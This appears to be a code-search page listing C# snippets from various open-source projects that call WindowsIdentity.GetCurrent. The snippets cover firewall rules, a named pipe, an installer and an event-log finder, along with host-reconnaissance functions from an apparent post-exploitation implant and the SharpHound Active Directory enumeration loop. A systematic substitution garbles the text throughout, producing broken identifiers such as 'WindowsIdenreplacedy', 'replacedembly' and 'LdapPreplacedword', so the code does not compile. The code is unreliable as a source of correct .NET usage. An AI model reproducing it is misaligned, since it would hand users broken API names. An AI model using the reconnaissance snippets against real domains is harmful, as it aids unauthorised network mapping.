private static void SetLocalServerFireWallOutboundRule(string applicationPath)
        {
            try // Make sure that we still try and set the firewall rules even if we bomb out trying to get information on the firewall configuration
            {
                TL.LogMessage("QueryFireWall", string.Format("Firewall version: {0}", FirewallManager.Version.ToString())); // Log the firewall version in use
                foreach (IFirewallProfile profile in FirewallManager.Instance.Profiles)
                {
                    TL.LogMessage("QueryFireWall", string.Format("Found current firewall profile {0}, enabled: {1}", profile.Type.ToString(), profile.IsActive));
                }

                COMTypeResolver cOMTypeResolver = new COMTypeResolver();
                IFirewallProductsCollection thirdPartyFirewalls = FirewallManager.GetRegisteredProducts(cOMTypeResolver);
                TL.LogMessage("QueryFireWall", string.Format("number of third party firewalls: {0}", thirdPartyFirewalls.Count));
                foreach (FirewallProduct firewall in thirdPartyFirewalls)
                {
                    TL.LogMessage("QueryFireWall", $"Found third party firewall: {firewall.Name} - {firewall.FriendlyName}");
                    //foreach (IFirewallProfile profile in firewall.)
                    //{
                    //    TL.LogMessage("QueryFireWall", string.Format("Found third party firewall profile {0}, enabled: {1}", profile.Type.ToString(), profile.IsActive));
                    //}
                }
            }
            catch (Exception ex)
            {
                TL.LogMessageCrLf("QueryFireWall", "Exception: " + ex.ToString());
            }
            TL.BlankLine();

            try
            {
                if ((new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator)) // Application is being run with Administrator privilege so go ahead and set the firewall rules
                {
                    // Check whether the specified file exists
                    if (File.Exists(applicationPath)) // The file does exist so process it
                    {
                        string applicationPathFull = Path.GetFullPath(applicationPath);
                        TL.LogMessage("SetFireWallOutboundRule", string.Format("Supplied path: {0}, full path: {1}", applicationPath, applicationPathFull));

                        // Now clear up previous instances of this rule
                        IEnumerable<IFirewallRule> query = FirewallManager.Instance.Rules.Where(ruleName => ruleName.Name.ToUpperInvariant().StartsWith(LOCAL_SERVER_OUTBOUND_RULE_NAME.ToUpperInvariant()));
                        List<IFirewallRule> queryCopy = query.ToList();
                        foreach (IFirewallRule existingRule in queryCopy)
                        {
                            TL.LogMessage("SetFireWallOutboundRule", string.Format("Found rule: {0}", existingRule.Name));
                            FirewallManager.Instance.Rules.Remove(existingRule); // Delete the rule
                            TL.LogMessage("SetFireWallOutboundRule", string.Format("Deleted rule: {0}", existingRule.Name));
                        }

                        IFirewallRule rule = FirewallManager.Instance.CreateApplicationRule(FirewallManager.Instance.GetProfile(FirewallProfiles.Domain | FirewallProfiles.Private | FirewallProfiles.Public).Type, LOCAL_SERVER_OUTBOUND_RULE_NAME, FirewallAction.Allow, applicationPathFull);
                        rule.Direction = FirewallDirection.Outbound;

                        // Add the group name to the outbound rule
                        if (rule is FirewallWASRule) //Rules.StandardRule)
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is a standard rule");
                            ((FirewallWASRule)rule).Grouping = GROUP_NAME;
                            TL.LogMessage("SetHttpSysFireWallRule", $"Group name set to: {GROUP_NAME}");
                        }
                        else
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is not a standard rule");
                        }
                        if (rule is FirewallWASRuleWin7)
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is a WIN7 rule");
                            ((FirewallWASRuleWin7)rule).Grouping = GROUP_NAME;
                            TL.LogMessage("SetHttpSysFireWallRule", $"Group name set to: {GROUP_NAME}");
                        }
                        else
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is not a WIN7 rule");
                        }
                        if (rule is FirewallWASRuleWin8)
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is a WIN8 rule");
                            ((FirewallWASRuleWin8)rule).Grouping = GROUP_NAME;
                            TL.LogMessage("SetHttpSysFireWallRule", $"Group name set to: {GROUP_NAME}");
                        }
                        else
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", "Firewall rule is not a WIN8 rule");
                        }

                        TL.LogMessage("SetFireWallOutboundRule", "Successfully created outbound rule");
                        FirewallManager.Instance.Rules.Add(rule);
                        TL.LogMessage("SetFireWallOutboundRule", string.Format("Successfully added outbound rule for {0}", applicationPathFull));

                    }
                    else
                    {
                        TL.LogMessage("SetFireWallOutboundRule", string.Format("The specified file does not exist: {0}", applicationPath));
                        Console.WriteLine("The specified file does not exist: {0}", applicationPath);
                    }
                }
                else
                {
                    TL.LogMessage("SetFireWallOutboundRule", "Not running as Administrator so unable to set firewall rules.");
                    Console.WriteLine("Not running as Administrator so unable to set firewall rules.");
                }
                TL.BlankLine();
            }
            catch (Exception ex)
            {
                TL.LogMessageCrLf("SetFireWallOutboundRule", "Exception: " + ex.ToString());
                Console.WriteLine("SetFireWallOutboundRule threw an exception: " + ex.Message);
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : ASCOMInitiative

private static void SetHttpSysFireWallInboundRule(string portNumberString)
        {
            try // Make sure that we still try and set the firewall rules even if we bomb out trying to get information on the firewall configuration
            {
                TL.LogMessage("QueryFireWall", string.Format("Firewall version: {0}", FirewallManager.Version.ToString())); // Log the firewall version in use
                foreach (IFirewallProfile profile in FirewallManager.Instance.Profiles)
                {
                    TL.LogMessage("QueryFireWall", string.Format("Found current firewall profile {0}, enabled: {1}", profile.Type.ToString(), profile.IsActive));
                }

                COMTypeResolver cOMTypeResolver = new COMTypeResolver();
                IFirewallProductsCollection thirdPartyFirewalls = FirewallManager.GetRegisteredProducts(cOMTypeResolver);
                TL.LogMessage("QueryFireWall", string.Format("number of third party firewalls: {0}", thirdPartyFirewalls.Count));
                foreach (FirewallProduct firewall in thirdPartyFirewalls)
                {
                    TL.LogMessage("QueryFireWall", $"Found third party firewall: {firewall.Name} - {firewall.FriendlyName}");
                    //foreach (IFirewallProfile profile in firewall.Profiles)
                    //{
                    //    TL.LogMessage("QueryFireWall", string.Format("Found third party firewall profile {0}, enabled: {1}", profile.Type.ToString(), profile.IsActive));
                    //}
                }
            }
            catch (Exception ex)
            {
                TL.LogMessageCrLf("QueryFireWall", "Exception: " + ex.ToString());
            }
            TL.BlankLine();

            try
            {
                if ((new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator)) // Application is being run with Administrator privilege so go ahead and set the firewall rules
                {
                    TL.LogMessage("SetHttpSysFireWallRule", $"Supplied HTTP.SYS port: {portNumberString}");

                    if (ushort.TryParse(portNumberString, out ushort portNumber)) // Make sure the supplied port number is a valid value before processing it
                    {
                        // Clear up redundant firewall rules left over from previous versions (ASCOM Remote Server - Inbound and Outbound)
                        IEnumerable<IFirewallRule> queryRedundant = FirewallManager.Instance.Rules.Where(ruleName => ruleName.Name.ToUpperInvariant().StartsWith(REMOTE_SERVER_RULE_NAME_BASE.ToUpperInvariant()));
                        List<IFirewallRule> queryRedundantCopy = queryRedundant.ToList();
                        foreach (IFirewallRule existingRule in queryRedundantCopy)
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", string.Format("Found redundant rule: {0}", existingRule.Name));
                            FirewallManager.Instance.Rules.Remove(existingRule); // Delete the rule
                            TL.LogMessage("SetHttpSysFireWallRule", string.Format("Deleted redundant rule: {0}", existingRule.Name));
                        }

                        // Check whether the specified file exists and if so delete it
                        IEnumerable<IFirewallRule> query = FirewallManager.Instance.Rules.Where(ruleName => ruleName.Name.ToUpperInvariant().Equals(HTTP_DOT_SYS_INBOUND_RULE_NAME.ToUpperInvariant()));
                        List<IFirewallRule> queryCopy = query.ToList();
                        foreach (IFirewallRule existingRule in queryCopy)
                        {
                            TL.LogMessage("SetHttpSysFireWallRule", string.Format("Found rule: {0}", existingRule.Name));
                            FirewallManager.Instance.Rules.Remove(existingRule); // Delete the rule
                            TL.LogMessage("SetHttpSysFireWallRule", string.Format("Deleted rule: {0}", existingRule.Name));
                        }

                        SetHttpRule(FirewallProfiles.Private, portNumber);
                        SetHttpRule(FirewallProfiles.Public, portNumber);
                        SetHttpRule(FirewallProfiles.Domain, portNumber);
                    }
                    else
                    {
                        TL.LogMessage("SetHttpSysFireWallRule", $"Supplied port number {portNumberString} is not valid so can't set permission for HTTP.SYS");
                        Console.WriteLine($"Supplied port number: \"{portNumberString}\" is not valid so can't set permission for HTTP.SYS");
                    }
                }
                else
                {
                    TL.LogMessage("SetHttpSysFireWallRule", "Not running as Administrator so unable to set firewall rules.");
                    Console.WriteLine("Not running as Administrator so unable to set firewall rules.");
                }
                TL.BlankLine();
            }
            catch (Exception ex)
            {
                TL.LogMessageCrLf("SetHttpSysFireWallRule", "Exception: " + ex.ToString());
                Console.WriteLine("SetHttpSysFireWallRule threw an exception: " + ex.Message);
            }

        }

19 View Source File : FormBackground.cs
License : MIT License
Project Creator : AutoItConsulting

private void NamedPipeServerCreateServer()
        {
            if (_namedPipeServerStream != null)
            {
                // Already a pipe setup, just return
                return;
            }

            // Create a new pipe accessible by local authenticated users, disallow network
            //var sidAuthUsers = new SecurityIdentifier(WellKnownSidType.AuthenticatedUserSid, null);
            var sidNetworkService = new SecurityIdentifier(WellKnownSidType.NetworkServiceSid, null);
            var sidWorld = new SecurityIdentifier(WellKnownSidType.WorldSid, null);

            var pipeSecurity = new PipeSecurity();

            // Deny network access to the pipe
            var accessRule = new PipeAccessRule(sidNetworkService, PipeAccessRights.ReadWrite, AccessControlType.Deny);
            pipeSecurity.AddAccessRule(accessRule);

            // Alow Everyone to read/write
            accessRule = new PipeAccessRule(sidWorld, PipeAccessRights.ReadWrite, AccessControlType.Allow);
            pipeSecurity.AddAccessRule(accessRule);

            // This user is the owner (can create pipes)
            SecurityIdentifier sidOwner = WindowsIdenreplacedy.GetCurrent().Owner;
            if (sidOwner != null)
            {
                accessRule = new PipeAccessRule(sidOwner, PipeAccessRights.FullControl, AccessControlType.Allow);
                pipeSecurity.AddAccessRule(accessRule);
            }

            // Create pipe and start the async connection wait
            _namedPipeServerStream = new NamedPipeServerStream(
                PipeName,
                PipeDirection.In,
                1,
                PipeTransmissionMode.Byte,
                PipeOptions.Asynchronous,
                0,
                0,
                pipeSecurity);

            _namedPipeAsyncResult = _namedPipeServerStream.BeginWaitForConnection(NamedPipeServerConnectionCallback, _namedPipeServerStream);
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : Azure

static void Main(string[] args)
        {
#if !DEBUG
            // Try to elevate to admin on Windows
            if (Environment.OSVersion.Platform == PlatformID.Win32NT)
            {
                try
                {
                    var principal = new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent());
                    if (!principal.IsInRole(WindowsBuiltInRole.Administrator))
                    {
                        var processInfo = new ProcessStartInfo("dotnet.exe")
                        {
                            Arguments = replacedembly.GetExecutingreplacedembly().Location,
                            UseShellExecute = true,
                            Verb = "runas"
                        };
                        Process.Start(processInfo);
                        return;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("Error: " + ex.Message + " " + Strings.Admin);
                    Console.WriteLine(Strings.EnterToExist);
                    Console.ReadLine();
                    return;
                }
            }
#endif
            Console.WriteLine(Strings.AboutSubreplacedle);
            Console.WriteLine();
            Console.WriteLine(Strings.Prerequisits);
            
            string azureDeviceID = Environment.MachineName;
            Console.WriteLine();
            Console.WriteLine(Strings.AzureCreateDeviceIdDesc + " (" + Strings.UseHostname + " " + azureDeviceID + ")");
            string input = Console.ReadLine();
            if (input != string.Empty)
            {
                azureDeviceID = input;
            }

            Console.WriteLine();
            Console.WriteLine();
            Console.WriteLine(Strings.Installing);
            Installer.GetInstance().CreateAzureIoTEdgeDevice(azureDeviceID);

            Console.WriteLine();
            Console.WriteLine(Strings.EnterToExist);
            Console.ReadLine();
        }

19 View Source File : Utility.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : b4rtik

public static SystemInfo GetSystemInfo()
        {
            SystemInfo sysinfo = new SystemInfo
            {
                HostName = Dns.GetHostName()
            };
            sysinfo.Ip = Dns.GetHostAddresses(sysinfo.HostName)[0].ToString();

            foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
            {
                if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                {
                    sysinfo.Ip = a.ToString();
                    break;
                }
            }

            sysinfo.Os = Environment.OSVersion.ToString();
            sysinfo.ProcessName = Process.GetCurrentProcess().ProcessName;

            string Integrity = "Medium";
            if (Environment.UserName.ToLower() == "system")
            {
                Integrity = "System";
            }
            else
            {
                var idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                if (idenreplacedy.Owner != idenreplacedy.User)
                {
                    Integrity = "High";
                }
            }

            sysinfo.Integrity = Integrity;
            sysinfo.User = Environment.UserDomainName + "\\" + Environment.UserName;

            return sysinfo;
        }

19 View Source File : StandardCommandImpl.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : b4rtik

public static void GetUid(string [] param)
        {
            try
            {
                Console.WriteLine("[*] You are {0}", WindowsIdenreplacedy.GetCurrent().Name);
            }
            catch (Exception)
            {
                Console.WriteLine("[*] Error executing cd");
            }
        }

19 View Source File : Form1.cs
License : GNU General Public License v3.0
Project Creator : BeanBagKing

private void FindEventsButton_Click(object sender, EventArgs e)
        {
            FindEventsButton.Enabled = false;

            if (StartInput.Text == "" || EndInput.Text == "")                   // Check to make sure times are populated
            {
                StatusOutput.Text = "Missing Start or End Time!";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else if (!DateTime.TryParse(StartInput.Text, out DateTime temp))  // And that the start time is valid
            {
                StatusOutput.Text = "Invalid Start Time";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else if (!DateTime.TryParse(EndInput.Text, out DateTime temp2))   // And that the end time is valid
            {
                StatusOutput.Text = "Invalid End Time";
                StatusOutput.ForeColor = System.Drawing.Color.Red;
            }
            else                                                              // If everything is valid, run!
            {


                // Variables we will need
                DateTime StartTime = DateTime.ParseExact(StartInput.Text, "MM/dd/yyyy HH:mm:ss", null); // Needed for filter query
                DateTime EndTime = DateTime.ParseExact(EndInput.Text, "MM/dd/yyyy HH:mm:ss", null);     // Needed for filter query
                string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);      // Needed for file name
                string RunTime = DateTime.Now.ToString("yyyyMMdd_HHmmss");                              // Needed for file name
                EventLogSession Session = new EventLogSession();
                var Logs = Session.GetLogNames().ToList();
                var pathType = PathType.LogName;
                if (currentSystem.Checked == true)
                {
                    Logs = Session.GetLogNames().ToList();
                    pathType = PathType.LogName;
                } else if (System.IO.Directory.Exists(currentPath.Text))
                {
                    Logs = System.IO.Directory.GetFiles(currentPath.Text, "*.evtx").ToList();
                    pathType = PathType.FilePath;
                } else
                {
                    MessageBox.Show("Something Wrong:\nYou likely selected an invalid path");
                    FindEventsButton.Enabled = true;
                    return;
                }
                
                var query = string.Format(@"*[System[TimeCreated[@SystemTime >= '{0}']]] and *[System[TimeCreated[@SystemTime <= '{1}']]]", StartTime.ToUniversalTime().ToString("o"), EndTime.ToUniversalTime().ToString("o"));
                List<Record> records = new List<Record> { };                                            // Start a list for all those sweet sweet logs we're going to get 

                foreach (var Log in Logs)
                {
                    try
                    {
                        EventLogQuery eventlogQuery = new EventLogQuery(Log, pathType, query);
                        EventLogReader eventlogReader = new EventLogReader(eventlogQuery);
                        for (EventRecord eventRecord = eventlogReader.ReadEvent(); null != eventRecord; eventRecord = eventlogReader.ReadEvent())
                        {
                            // Get the SystemTime from the event record XML 
                            var xml = XDoreplacedent.Parse(eventRecord.ToXml());
                            XNamespace ns = xml.Root.GetDefaultNamespace();

                            string Message = "";
                            string SystemTime = "";
                            string Id = "";
                            string Version = "";
                            string Qualifiers = "";
                            string Level = "";
                            string Task = "";
                            string Opcode = "";
                            string Keywords = "";
                            string RecordId = "";
                            string ProviderName = "";
                            string ProviderID = "";
                            string LogName = "";
                            string ProcessId = "";
                            string ThreadId = "";
                            string MachineName = "";
                            string UserID = "";
                            string TimeCreated = "";
                            string ActivityId = "";
                            string RelatedActivityId = "";
                            string Hashcode = "";
                            string LevelDisplayName = "";
                            string OpcodeDisplayName = "";
                            string TaskDisplayName = "";

                            // Debugging Stuff
                            //Console.WriteLine("-- STARTING --");
                            // Try to collect all the things. Catch them if we can't.
                            // Sometimes fields are null or cannot be converted to string (why?).
                            // If they are, catch and do nothing, so they will stay empty ("").
                            // This has primarily been LevelDisplayName, OpcodeDisplayName, and TaskDisplayName
                            // but we'll catch it all anyway
                            // https://github.com/BeanBagKing/EventFinder2/issues/1
                            try
                            {
                                Message = eventRecord.FormatDescription();
                                if (Message == null)
                                {
                                    Message += "EventRecord.FormatDescription() returned a null value. This is usually because:\n";
                                    Message += "    \"Either the component that raises this event is not installed on your local computer\n" +
                                        "    or the installation is corrupted. You can install or repair the component on the local computer.\"\n";
                                    Message += "The event likely originated on another system, below is the XML data replacedociated with this event\n";
                                    Message += "\n";
                                    Message += XDoreplacedent.Parse(eventRecord.ToXml()).ToString();
                                    // If the message body is null, it's because the DLL that created it is on another system and it can't be parsed in real time
                                    // The below works, but we can do better!
                                    // foreach (var node in xml.Descendants(ns + "Event")) 
                                    //  {
                                    //      Message += node.Value;
                                    //      Message += "\n";
                                    //  }
                                }
                            }
                            catch
                            {
                                //Console.WriteLine("Error on FormatDescription");
                            }
                            try
                            {
                                SystemTime = xml.Root.Element(ns + "System").Element(ns + "TimeCreated").Attribute("SystemTime").Value;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on SystemTime");
                            }
                            try
                            {
                                Id = eventRecord.Id.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Id");
                            }
                            try
                            {
                                Version = eventRecord.Version.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Version");
                            }
                            try
                            {
                                Qualifiers = eventRecord.Qualifiers.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Qualifiers");
                            }
                            try
                            {
                                Level = eventRecord.Level.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Level");
                            }
                            try
                            {
                                Task = eventRecord.Task.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Task");
                            }
                            try
                            {
                                Opcode = eventRecord.Opcode.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Opcode");
                            }
                            try
                            {
                                Keywords = eventRecord.Keywords.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on Keywords");
                            }
                            try
                            {
                                RecordId = eventRecord.RecordId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on RecordId");
                            }
                            try
                            {
                                ProviderName = eventRecord.ProviderName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProviderName");
                            }
                            try
                            {
                                ProviderID = eventRecord.ProviderId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProviderId");
                            }
                            try
                            {
                                LogName = eventRecord.LogName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on LogName");
                            }
                            try
                            {
                                ProcessId = eventRecord.ProcessId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ProcessId");
                            }
                            try
                            {
                                ThreadId = eventRecord.ThreadId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ThreadId");
                            }
                            try
                            {
                                MachineName = eventRecord.MachineName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on eventRecord");
                            }
                            try
                            {
                                UserID = eventRecord.UserId?.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on UserId");
                            }
                            try
                            {
                                TimeCreated = eventRecord.TimeCreated.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on TimeCreated");
                            }
                            try
                            {
                                ActivityId = eventRecord.ActivityId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on ActivityId");
                            }
                            try
                            {
                                RelatedActivityId = eventRecord.RelatedActivityId.ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on RelatedActivityId");
                            }
                            try
                            {
                                Hashcode = eventRecord.GetHashCode().ToString();
                            }
                            catch
                            {
                                //Console.WriteLine("Error on GetHashCode");
                            }
                            try
                            {
                                LevelDisplayName = eventRecord.LevelDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on LevelDisplayName");
                            }
                            try
                            {
                                OpcodeDisplayName = eventRecord.OpcodeDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on OpcodeDisplayName");
                            }
                            try
                            {
                                TaskDisplayName = eventRecord.TaskDisplayName;
                            }
                            catch
                            {
                                //Console.WriteLine("Error on TaskDisplayName");
                            }
                            //Console.WriteLine("-- ENDING --");

                            // Add them to the record. The things equal the things.
                            records.Add(new Record() { Message = Message, SystemTime = SystemTime, Id = Id, Version = Version, Qualifiers = Qualifiers, Level = Level, Task = Task, Opcode = Opcode, Keywords = Keywords, RecordId = RecordId, ProviderName = ProviderName, ProviderID = ProviderID, LogName = LogName, ProcessId = ProcessId, ThreadId = ThreadId, MachineName = MachineName, UserID = UserID, TimeCreated = TimeCreated, ActivityId = ActivityId, RelatedActivityId = RelatedActivityId, Hashcode = Hashcode, LevelDisplayName = LevelDisplayName, OpcodeDisplayName = OpcodeDisplayName, TaskDisplayName = TaskDisplayName });
                        }
                    }
                    catch (UnauthorizedAccessException)
                    {
                        // If you are running as admin, you will get unauthorized for some logs. Hey, I warned you! Nothing to do here.
                        // Catching this seperately since we know what happened.
                    }
                    catch (Exception ex)
                    {
                        if (Log.ToString().Equals("Microsoft-RMS-MSIPC/Debug"))
                        {
                            // Known issue, do nothing
                            // https://github.com/BeanBagKing/EventFinder2/issues/3
                        }
                        else if (Log.ToString().Equals("Microsoft-Windows-USBVideo/replacedytic"))
                        {
                            // Known issue, do nothing
                            // https://github.com/BeanBagKing/EventFinder2/issues/2
                        }
                        else
                        {
                            // Unknown issue! Write us a bug report
                            bool isElevated;
                            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
                            {
                                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                                isElevated = principal.IsInRole(WindowsBuiltInRole.Administrator);
                            }
                            using (StreamWriter writer = new StreamWriter(DesktopPath + "\\ERROR_EventFinder_" + RunTime + ".txt", append: true))
                            {
                                writer.WriteLine("-----------------------------------------------------------------------------");
                                writer.WriteLine("Issue Submission: https://github.com/BeanBagKing/EventFinder2/issues");
                                writer.WriteLine("Date : " + DateTime.Now.ToString());
                                writer.WriteLine("Log : " + Log);
                                writer.WriteLine("Admin Status: " + isElevated);
                                writer.WriteLine();

                                while (ex != null)
                                {
                                    writer.WriteLine(ex.GetType().FullName);
                                    writer.WriteLine("Message : " + ex.Message);
                                    writer.WriteLine("StackTrace : " + ex.StackTrace);
                                    writer.WriteLine("Data : " + ex.Data);
                                    writer.WriteLine("HelpLink : " + ex.HelpLink);
                                    writer.WriteLine("HResult : " + ex.HResult);
                                    writer.WriteLine("InnerException : " + ex.InnerException);
                                    writer.WriteLine("Source : " + ex.Source);
                                    writer.WriteLine("TargetSite : " + ex.TargetSite);

                                    ex = ex.InnerException;
                                }
                            }
                        }
                    }

                }
                records = records.OrderBy(x => x.SystemTime).ToList(); // Sort our records in chronological order
                // and write them to a CSV
                using (var writer = new StreamWriter(DesktopPath + "\\Logs_Runtime_" + RunTime + ".csv", append: true))
                using (var csv = new CsvWriter(writer))
                {
                    csv.Configuration.ShouldQuote = (field, context) => true;
                    csv.WriteRecords(records);
                }
                StatusOutput.Text = "Run Complete";
                StatusOutput.ForeColor = System.Drawing.Color.Blue;
                records.Clear();
            }
            FindEventsButton.Enabled = true;
        }

19 View Source File : ProtectionHelper.cs
License : Apache License 2.0
Project Creator : bezzad

public static bool IsAdministrator()
        {
            var idenreplacedy = WindowsIdenreplacedy.GetCurrent();
            var principal = new WindowsPrincipal(idenreplacedy);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : GetWhoamiCommand.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : bitsadmin

public override CommandResult Execute(CommandResult pipeIn)
        {
            bool showAll = _arguments.Get<BoolArgument>("All").Value;

            string[] DomainUser = System.Security.Principal.WindowsIdenreplacedy.GetCurrent().Name.Split('\\');

            _results.Add(
                new ResultRecord()
                {
                    { "Domain", DomainUser[0] },
                    { "User", DomainUser[1] }
                }
            );

            if(showAll)
            {
                // TODO
            }

            return _results;
        }

19 View Source File : SharpHound.cs
License : GNU General Public License v3.0
Project Creator : BloodHoundAD

private static async Task Main(string[] args)
        {
            // Use the wonderful commandlineparser library to build our options.
            var parser = new Parser(with =>
            {
                with.CaseInsensitiveEnumValues = true;
                with.CaseSensitive = false;
                with.HelpWriter = Console.Error;
            });

            parser.ParseArguments<Options>(args).WithParsed(o =>
            {
                //We've successfully parsed arguments, lets do some options post-processing.
                var currentTime = DateTime.Now;
                var initString =
                    $"Initializing SharpHound at {currentTime.ToShortTimeString()} on {currentTime.ToShortDateString()}";
                Console.WriteLine(new string('-', initString.Length));
                Console.WriteLine(initString);
                Console.WriteLine(new string('-', initString.Length));
                Console.WriteLine();

                // Set the current user name for session collection.
                if (o.OverrideUserName != null)
                {
                    o.CurrentUserName = o.OverrideUserName;
                }
                else
                {
                    o.CurrentUserName = WindowsIdenreplacedy.GetCurrent().Name.Split('\\')[1];
                }

                //Check some loop options
                if (o.Loop)
                {
                    //If loop is set, ensure we actually set options properly
                    if (o.LoopDuration == TimeSpan.Zero)
                    {
                        Console.WriteLine("Loop specified without a duration. Defaulting to 2 hours!");
                        o.LoopDuration = TimeSpan.FromHours(2);
                    }

                    if (o.LoopInterval == TimeSpan.Zero)
                    {
                        o.LoopInterval = TimeSpan.FromSeconds(30);
                    }
                }

                Options.Instance = o;
            }).WithNotParsed(error =>
            {

            });

            parser.Dispose();

            var options = Options.Instance;
            if (options == null)
                return;

            // Check to make sure we actually have valid collection methods set
            if (!options.ResolveCollectionMethods())
            {
                return;
            }

            //If the user didn't specify a domain, pull the domain from DirectoryServices
            if (options.Domain == null)
                try
                {
                    options.Domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name.ToUpper();
                }
                catch (Exception e)
                {
                    Console.WriteLine(e);
                    Console.WriteLine("Unable to determine user's domain. Please manually specify it with the --domain flag");
                    return;
                }
                

            //Check to make sure both LDAP options are set if either is set
            if ((options.LdapPreplacedword != null && options.LdapUsername == null) ||
                (options.LdapUsername != null && options.LdapPreplacedword == null))
            {
                Console.WriteLine("You must specify both LdapUsername and LdapPreplacedword if using these options!");
                return;
            }

            //Initial LDAP connection test. Search for the well known administrator SID to make sure we can connect successfully.
            var searcher = Helpers.GetDirectorySearcher(options.Domain);
            var result = await searcher.GetOne("(objectclreplaced=domain)", new[] { "objectsid" },
                SearchScope.Subtree);

            //If we get nothing back from LDAP, something is wrong
            if (result == null)
            {
                Console.WriteLine("LDAP Connection Test Failed. Check if you're in a domain context!");
                return;
            }

            var initialCompleted = false;
            var needsCancellation = false;
            Timer timer = null;
            var loopEnd = DateTime.Now;

            //If loop is set, set up our timer for the loop now
            if (options.Loop)
            {
                loopEnd = loopEnd.AddMilliseconds(options.LoopDuration.TotalMilliseconds);
                timer = new Timer();
                timer.Elapsed += (sender, eventArgs) =>
                {
                    if (initialCompleted)
                        Helpers.InvokeCancellation();
                    else
                        needsCancellation = true;
                };
                timer.Interval = options.LoopDuration.TotalMilliseconds;
                timer.AutoReset = false;
                timer.Start();
            }

            //Create our Cache
            Cache.CreateInstance();

            //Start the computer error task (if specified)
            OutputTasks.StartComputerStatusTask();

            //Build our pipeline, and get the initial block to wait for completion.
            var pipelineCompletionTask = PipelineBuilder.GetBasePipelineForDomain(options.Domain);

            //Wait for output to complete
            await pipelineCompletionTask;

            //Wait for our output tasks to finish.
            await OutputTasks.CompleteOutput();

            //Mark our initial run as complete, signalling that we're now in the looping phase
            initialCompleted = true;

            if (needsCancellation)
            {
                Helpers.InvokeCancellation();
            }

            //Start looping if specified
            if (Options.Instance.Loop)
            {
                if (Helpers.GetCancellationToken().IsCancellationRequested)
                {
                    Console.WriteLine("Skipping looping because loop duration has already preplaceded");
                }
                else
                {
                    Console.WriteLine();
                    Console.WriteLine("Waiting 30 seconds before starting loops");
                    try
                    {
                        await Task.Delay(TimeSpan.FromSeconds(30), Helpers.GetCancellationToken());
                    }
                    catch (TaskCanceledException)
                    {
                        Console.WriteLine("Skipped wait because loop duration has completed!");
                    }

                    if (!Helpers.GetCancellationToken().IsCancellationRequested)
                    {
                        Console.WriteLine();
                        Console.WriteLine($"Loop Enumeration Methods: {options.GetLoopCollectionMethods()}");
                        Console.WriteLine($"Looping scheduled to stop at {loopEnd.ToLongTimeString()} on {loopEnd.ToShortDateString()}");
                        Console.WriteLine();
                    }

                    var count = 0;
                    while (!Helpers.GetCancellationToken().IsCancellationRequested)
                    {
                        count++;
                        var currentTime = DateTime.Now;
                        Console.WriteLine($"Starting loop #{count} at {currentTime.ToShortTimeString()} on {currentTime.ToShortDateString()}");
                        Helpers.StartNewRun();
                        pipelineCompletionTask = PipelineBuilder.GetLoopPipelineForDomain(Options.Instance.Domain);
                        await pipelineCompletionTask;
                        await OutputTasks.CompleteOutput();
                        if (!Helpers.GetCancellationToken().IsCancellationRequested)
                        {
                            Console.WriteLine();
                            Console.WriteLine($"Waiting {options.LoopInterval.TotalSeconds} seconds for next loop");
                            Console.WriteLine();
                            try
                            {
                                await Task.Delay(options.LoopInterval, Helpers.GetCancellationToken());
                            }
                            catch (TaskCanceledException)
                            {
                                Console.WriteLine("Skipping wait as loop duration has expired");
                            }
                        }
                    }

                    if (count > 0)
                        Console.WriteLine($"Looping finished! Looped a total of {count} times");

                    //Special function to grab all the zip files created by looping and collapse them into a single file
                    await OutputTasks.CollapseLoopZipFiles();
                }
            }
            timer?.Dispose();

            //Program exit started. Save the cache file
            Cache.Instance.SaveCache();

            //And we're done!
